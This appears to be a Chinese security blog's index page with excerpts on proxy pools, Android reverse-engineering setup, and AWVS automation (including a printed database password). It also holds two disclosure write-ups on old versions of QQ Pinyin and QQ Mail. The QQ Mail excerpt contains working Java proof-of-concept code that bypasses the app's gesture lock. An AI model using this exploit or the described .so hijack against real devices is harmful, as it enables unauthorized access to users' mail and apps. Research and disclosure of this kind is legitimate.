ProxyBroker改造记录

近几年的工作多数围绕着Web Services进行,无非就是授权的攻击测试、扫描等等,这类操作也是各种WAF和风控机制的首选拦截对象。由于前期没有做代理,导致公司出口IP被某网站封禁,并通过各种威胁情报共享的机制被应用到更多网站上,甚至办公室没法访问公司自己的某些服务。去年开始尝试使用一些开源的工程搭建代理池,如scyllaproxy_poolProxyBroker等,因为只是简单的搭建,只能算是“能用”的阶段,一些问题并没有及时解决。最近对上述代理工具进行了一些严格的测试,并且阅读了部分代码,最终确定使用ProxyBroker作为代理工具,并加以改造,实现了稳定的代理池。

根据现有情况,我们对代理池的需求如下:

  • 支持二级代理,即ProxyRotator,内网搭建一个代理服务器,自动切换出口代理
  • 尽可能多的代理IP,扩展性要好,方便增加代理网站
  • 出口IP检测,检测地理位置、连接速度、类型、匿名度等
  • 代理有效性检测,自动剔除失效IP
  • 稳定、长时间运行,各种策略完善

综合评估后,ProxyBroker比较符合需求,在使用的过程中,遇到两个问题: More

使用Scoop简化Windows逆向环境搭建

作为码农及安全行业从业人员,在工作中会使用到各种开发、逆向、分析、调试等工具。不少人都会在成长的过程中,构建一套符合自身习惯的环境,或者采用Kali Linux、Appie、吾爱破解工具箱之类的预装环境。上古时代,收集各种论坛发布的工具箱也是乐趣之一,从中可以搞到一些有趣的插件,学习一些配置。

工作之后,尤其是这几年给不少新人做了入职培训,遇到如下情况:

  • Windows为主:公司默认配备了Windows笔记本,且有文档编辑需求,大多数人必须使用Windows;
  • 环境一团糟:员工会按照自己的习惯搭建一套自己的环境,而且大多数人喜欢就地解压,环境变量随意配置;
  • 来源不明:配置工作环境比较原始,包括但不限于U盘拷贝、IM传送、FTP、甚至随便从什么地方下载;
  • 重复工作:自动化的服务器需要手动配置;

上述情况带来的问题十分明显,抛开琐碎和重复的工作,工具版本过低、冲突导致的问题时常出现,十分影响效率。 More

设置Android调试开关的方法

在进行Android应用逆向分析的时候,让目标应用处于调试状态能极大的增加效率,能够完成如下功能:

  • 动态调试
  • 使用DDMS、Android Profiler进行分析
  • 优化Logcat输出,因为当应用处于调试状态时,logcat包含包名

开启调试开关的方法有:

  • 修改AndroidManifest.xml文件
  • 使用Xposed插件,修改启动参数
  • 修改系统的ro.debuggable属性

修改AndroidManifest.xml文件不推荐使用,不仅效率低下,而且越来多的应用加入完整性校验(甚至包括服务端完整性校验)后,还需要增加额外的时间成本完成这一简单的修改。尽管绕过完整性校验的方法并不难。 More

使用Maigsk禁用MIUI自动升级

公司的测试机以小米居多,主要是为了使用Magisk、Xposed、Frida一类的框架。而MIUI不论是稳定版和开发版,OTA均无法彻底关闭。经常重启后开始OTA,导致环境被破坏。

目前常用的几种关闭OTA的方法有:

  • Host屏蔽
  • 禁用Updater.apk
  • 修改版本号

Host屏蔽对于挂代理无效(我们需要长期挂着代理),而禁用Updater.apk则过于繁琐。所以修改版本号对于我们而言是最稳定的方式。修改版本号需要动build.prop,修改其中ro.build.version.incremental的值为一个较大的版本号即可。 More

修改scrapy-selenium支持docker-selenium

scrapy-selenium是一个Scrapy的中间件,用于让Scrapy支持通过selenium driver访问网页。但默认情况下只支持本地的WebDriver。

scrapy-selenium在和selenium的会话管理上相对完善和稳定,所以,派生一个SeleniumMiddleware的子类,重写即可。

class RemoteSeleniumMiddleware(SeleniumMiddleware):

    def __init__(self, command_executor, desired_capabilities):
        self.driver = driver = webdriver.Remote(
            command_executor=command_executor,
            desired_capabilities=desired_capabilities)

    @classmethod
    def from_crawler(cls, crawler):
        command_executor = crawler.settings.get('SELENIUM_COMMAND_EXECUTOR')
        desired_capabilities = crawler.settings.get('SELENIUM_DESIRED_CAPABILITIES')

        middleware = cls(
            command_executor=command_executor,
            desired_capabilities=desired_capabilities,
        )

        crawler.signals.connect(middleware.spider_closed, signals.spider_closed)

        return middleware

对应的settings.py中,添加连接参数即可: More

逍遥模拟器adb配置参考

最近为了减少一些工作量以及完成自动化的需求,对Android模拟器进行了一些测试。通过测试,逍遥模拟器的性能、兼容性、Xposed稳定性方面满足需求。但默认情况下adb连接略微麻烦。可以进行如下调整解决。

本地adb连接

由于逍遥模拟器自带的adb版本较老,使用platform-tools的adb连接会出现不兼容。因此,复制platform-tools的adb替换即可。替换文件:

  • adb.exe
  • AdbWinApi.dll
  • AdbWinUsbApi.dll

远程adb连接

和其他模拟器一样,逍遥模拟器基于VirtualBox进行虚拟化。模拟器的网卡使用nat模式,然后通过配置forward,使得host的adb可以访问到模拟器的5555端口,默认配置下,hostip为127.0.0.1,远程访问只需要修改hostip即可。 More

切换VPS服务器记录

终于下定决心买一台VPS。原因有两个,一来总是白嫖FlowerCode的服务器,实在不好意思;二来最近三年都在兼职成都办公室网管和部门IT的角色,一来二去的折腾,竟感觉还有那么些意思。所以,趁着休假的时机,正好有时机安静的折腾。

根据个人习惯和需求,对服务器的需求如下:

  • 性能:能够稳定运行一些Web Server,考虑到Docker和一些OOXX需求,优先考虑SSD;
  • 网络:因为不考虑国内服务器,在速度上,访问速度一般即可。带宽一般,流量价格相对便宜;
  • 个人喜好:因为主要使用Docker,且熟悉Ubuntu,所以有Ubuntu可选的VPS即可;

综合考虑,最后选择了Contabo丐版SSD套餐。虽然Contabo的口碑略差,且服务器在德国,但是下面的配置作为入门,还是相对划算: More

连接AWVS 11的PostgreSQL数据库

最近有些需求,需要在AWVS 11的基础上进行一些自动化,AWVS 11的API接口不能完全满足需求,所以需要直接操作数据库完成。

读取配置文件

配置文件位于C:\ProgramData\Acunetix 11\settings.ini,数据库相关的字段如下:

databases.connections.master.connection.user=wvs
databases.connections.master.connection.host=localhost
databases.connections.master.connection.port=35432
databases.connections.master.connection.db=wvs
databases.connections.master.connection.password=j6qGK0UCYFnD3lkJsC2ZK1DZJqKO0oqi

外部访问PostgreSQL

修改C:\ProgramData\Acunetix 11\db目录下的PostgreSQL配置文件pg_ident.confpostgresql.conf可以让PostgreSQL外部访问,但升级的时候会出问题。Windows下,使用netsh进行端口转发,并且加入防火墙例外即可: More

QQ拼音for Android v4.9.1 so劫持/感染

Intro

QQ拼音for Android v4.9.1的导出组件com.tencent.qqpinyin.voice.DownloadApkService没有对传入的下载地址进行过滤,导致任意文件下载,且没有对传入的文件名进行合法性校验,导致目录遍历。加上其本身Apk的特点,可以使用该组件感染/劫持so文件。之前没注意QQ拼音已经归属搜狗,2015-04-27提交到了TSRC,告知已转交搜狗。至今漏洞依然存在,但从v4.9.2开始lib目录有所变化,无法感染/劫持。

漏洞细节

查看AndroidManifest.xml文件,发现com.tencent.qqpinyin.voice.DownloadApkService导出:

<service android:name=".voice.DownloadApkService" android:process=":remote">
    <intent-filter>
        <action android:name="com.tencent.qqpinyin.download.apk" />
    </intent-filter>
</service>

DownloadApkService关键代码如下: More

QQ邮箱 for Android <= 4.0.4手势密码绕过

对于一个Android程序来说,没有一个统一的入口,任何导出的Activity都可以作为程序的入口。所以,如果在写程序的时候,没有考虑到每一个入口进入时的状态,就有可能出现逻辑上的漏洞。
比如QQ邮箱的这个,连续启动两次某些Activity就可以绕过手势密码。最初把PoC代码和描述都提交到了TSRC,结果那边回复说这是by design的,之后的沟通不了了之。

POC

  @Click
  void doEnterCalendarActivity() {
    (new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute();
    finish();
  }
  private class AccessQQMailTask extends AsyncTask<Void, Void, Void> {
    private String target_activity_name;
    public AccessQQMailTask(String activity_name) {
      super();
      target_activity_name = activity_name;
    }
    @Override
    protected void onPreExecute() {
    }
    void start_activity() {
      Intent intent = new Intent();
      intent.setClassName(tencent_mail_package_name, target_activity_name);
      startActivity(intent);
    }
    @Override
    protected Void doInBackground(Void... params) {
      try {
        start_activity();
        Thread.sleep(500);
        start_activity();
      } catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
      return null;
    }
    @Override
    protected void onPostExecute(Void result) {
    }
  }

完整代码见: https://github.com/TheCjw/Old-Android-POCs/tree/master/QQMailPatternLockBypass

半自动Fuzz

结合Drozer,并针对导出Activity进行一些逆向分析,可以轻松找到类似的漏洞。这类漏洞并不适合Fuzz,因为很大程度上涉及到了业务逻辑,初始化环境和检测结果免不了人工干预,但我们当初还是进行了一些尝试。大体的步骤是这样的: More